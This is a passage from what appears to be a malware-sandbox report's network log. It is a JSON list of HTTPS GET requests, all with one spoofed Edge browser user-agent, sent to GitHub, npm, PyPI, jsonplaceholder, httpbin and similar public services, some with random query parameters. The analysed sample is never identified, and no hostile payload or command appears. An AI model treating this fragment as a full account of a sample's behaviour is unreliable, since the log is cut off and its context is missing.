_cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/posts/25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /posts/25 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/chart.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /chart.js HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/semantic-release/latest","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /semantic-release/latest HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/playwright/latest?cb=3841180","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /playwright/latest?cb=3841180 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/undici?rand=6564163","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /undici?rand=6564163 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"httpbin.org","host_ip":"54.198.84.224:443","url":"/status/201","method":"GET","response_code":"201","response_phrase":"CREATED","header":"GET /status/201 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: httpbin.org\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"www.microsoft.com","host_ip":"23.62.177.155:443","url":"/pkiops/crl/Microsoft%20RSA%20TLS%20CA%2001.crl","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /pkiops/crl/Microsoft%20RSA%20TLS%20CA%2001.crl HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: www.microsoft.com\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/torvalds/linux/releases","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/torvalds/linux/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/65","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/65 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/cypress-io/cypress","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/cypress-io/cypress HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/pg","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /pg HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/jestjs/jest/releases","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/jestjs/jest/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/google/jax/tags","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /repos/google/jax/tags HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repositories/154739597/tags","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repositories/154739597/tags HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nAccept-Encoding: gzip, deflate\nHost: api.github.com","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/strapi/strapi/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/strapi/strapi/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/facebookresearch/llama/branches","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /repos/facebookresearch/llama/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repositories/601538369/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repositories/601538369/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nAccept-Encoding: gzip, deflate\nHost: api.github.com","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/grafana/grafana/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/grafana/grafana/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/users/gvanrossum","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /users/gvanrossum HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.terraform.io","host_ip":"52.85.61.122:443","url":"/v1/providers/hashicorp/null/versions?_=2508327","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /v1/providers/hashicorp/null/versions?_=2508327 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.terraform.io\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/Azure/azure-cli/contributors","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/Azure/azure-cli/contributors HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/torvalds/linux/commits","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/torvalds/linux/commits HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/saltstack/salt/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/saltstack/salt/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/113","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/113 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/clickhouse/clickhouse/commits","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/clickhouse/clickhouse/commits HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/react","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /react HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"pypi.org","host_ip":"151.101.192.223:443","url":"/pypi/matplotlib/json","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /pypi/matplotlib/json HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: pypi.org\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"www.powershellgallery.com","host_ip":"150.171.109.185:443","url":"/api/v2/FindPackagesById()?id=%27Posh-SSH%27","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v2/FindPackagesById()?id=%27Posh-SSH%27 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: www.powershellgallery.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/underscore/latest","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /underscore/latest HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/posts/79","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /posts/79 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"pypi.org","host_ip":"151.101.192.223:443","url":"/pypi/google-cloud-storage/json","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /pypi/google-cloud-storage/json HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: pypi.org\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/microsoft/garnet/releases","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/microsoft/garnet/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/users/taylorotwell/repos?t=5784207","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /users/taylorotwell/repos?t=5784207 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/laravel/laravel/releases?_=4261124168644","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/laravel/laravel/releases?_=4261124168644 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/babel-core?t=7864869347710","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /babel-core?t=7864869347710 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"hub.docker.com","host_ip":"104.18.43.187:443","url":"/v2/repositories/library/php/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /v2/repositories/library/php/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: hub.docker.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/esbuild/esbuild/releases","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /repos/esbuild/esbuild/releases HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/redis/redis","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/redis/redis HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/47","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/47 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/microsoft/generative-ai-for-beginners/tags","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/microsoft/generative-ai-for-beginners/tags HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/facebookresearch/segment-anything/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/facebookresearch/segment-anything/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/create-react-app","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /create-react-app HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/moby/moby/contributors","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/moby/moby/contributors HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/helm/helm","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/helm/helm HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/hapi","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /hapi HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/langchain-ai/langchain/contributors","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repos/langchain-ai/langchain/contributors HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/todos/199","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /todos/199 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"registry.npmjs.org","host_ip":"104.16.9.34:443","url":"/commander/latest","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /commander/latest HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: registry.npmjs.org\nCookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repos/apple/swift/branches","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /repos/apple/swift/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: api.github.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"api.github.com","host_ip":"140.82.112.5:443","url":"/repositories/44838949/branches","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /repositories/44838949/branches HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nAccept-Encoding: gzip, deflate\nHost: api.github.com","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/posts/73","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /posts/73 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"host":"jsonplaceholder.typicode.com","host_ip":"172.67.167.151:443","url":"/albums/10?v=2688747","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /albums/10?v=2688747 HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 